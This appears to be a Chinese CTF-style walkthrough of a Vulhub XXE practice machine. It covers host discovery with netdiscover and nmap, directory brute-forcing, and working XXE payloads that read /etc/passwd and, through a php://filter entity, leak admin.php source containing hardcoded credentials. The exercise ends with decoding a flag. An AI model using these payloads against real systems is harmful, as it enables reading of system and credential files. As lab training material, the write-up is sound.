前言 Vulhub-XXE渗透练习
目标:获取靶机Flag
运行环境:kali2019.4&&XXE靶机&&VMware15.X
考点:
robots.txt的使用
XXE文件读取漏洞
目录爆破
渗透测试 靶机打开后长这样….
然后我们要做的第一件事就是去扫靶机的IP地址,看看靶机的地址是多少。
下图中,我们使用netdiscover 直接找到这个靶机的IP地址为192.168.139.130
然后我们用nmap去扫描该靶机的IP,看看它有什么端口是开着的。
命令如下:
1 nmap -sV -v -p 1 -65535 192.168 .139 .130
如上图所示,靶机的80端口和5355端口是开放的。然后我们访问80端口。
这是一个ubuntu的页面,没有值得利用的东西,我们扫描该站点目录。
使用dirsearch扫描该站点,发现robots.txt
访问robots.txt
访问admin.php无果,所以我们访问/xxe/
这个靶机的考察点在于xxe,所以我们就直接使用xxe的payload试试能不能弹出些东西来
payload
1 2 3 4 5 6 7 8 <?xml version="1.8" encoding="UTF-8"?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY admin SYSTEM "file:///etc/passwd" > ]> <root > <name > &admin; </name > <password > 123</password > </root >
用这个思路去获得刚才获取不到的admin.php,payload如下:
1 2 3 4 5 6 7 <?xml version="1.8" encoding="UTF-8"?> <!DOCTYPE r [ <!ELEMENT r ANY> <!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php"> ]> <root><name>&admin;</name><password>123</password></root>
base64解码后,获得php源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php $msg = '' ; if (isset ($_POST['login' ]) && !empty ($_POST['username' ]) && !empty ($_POST['password' ])) { if ($_POST['username' ] == 'administhebest' && md5($_POST['password' ]) == 'e6e061838856bf47e1de730719fb2609' ) { $_SESSION['valid' ] = true ; $_SESSION['timeout' ] = time(); $_SESSION['username' ] = 'administhebest' ; echo "You have entered valid use name and password <br />" ; $flag = "Here is the <a style='color:FF0000;' href='/flagmeout.php'>Flag</a>" ; echo $flag; } else { $msg = 'Maybe Later' ; } }
进行MD5解密
但是这个并不管用….
扫描/xxe的目录
访问这个admin.php,然后填入用户名和密码,跳出一个红色的flag,访问试试,当时访问是500.所以用一样的xxe套路访问flagtimeout.php
解码获得:
1 2 3 4 <?php $flag = "<!-- the flag in (JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5) -->" ; echo $flag;?>
base32解码:
访问/ect/.flag.php
解码的结果如下:
这是一个webshell
获得flag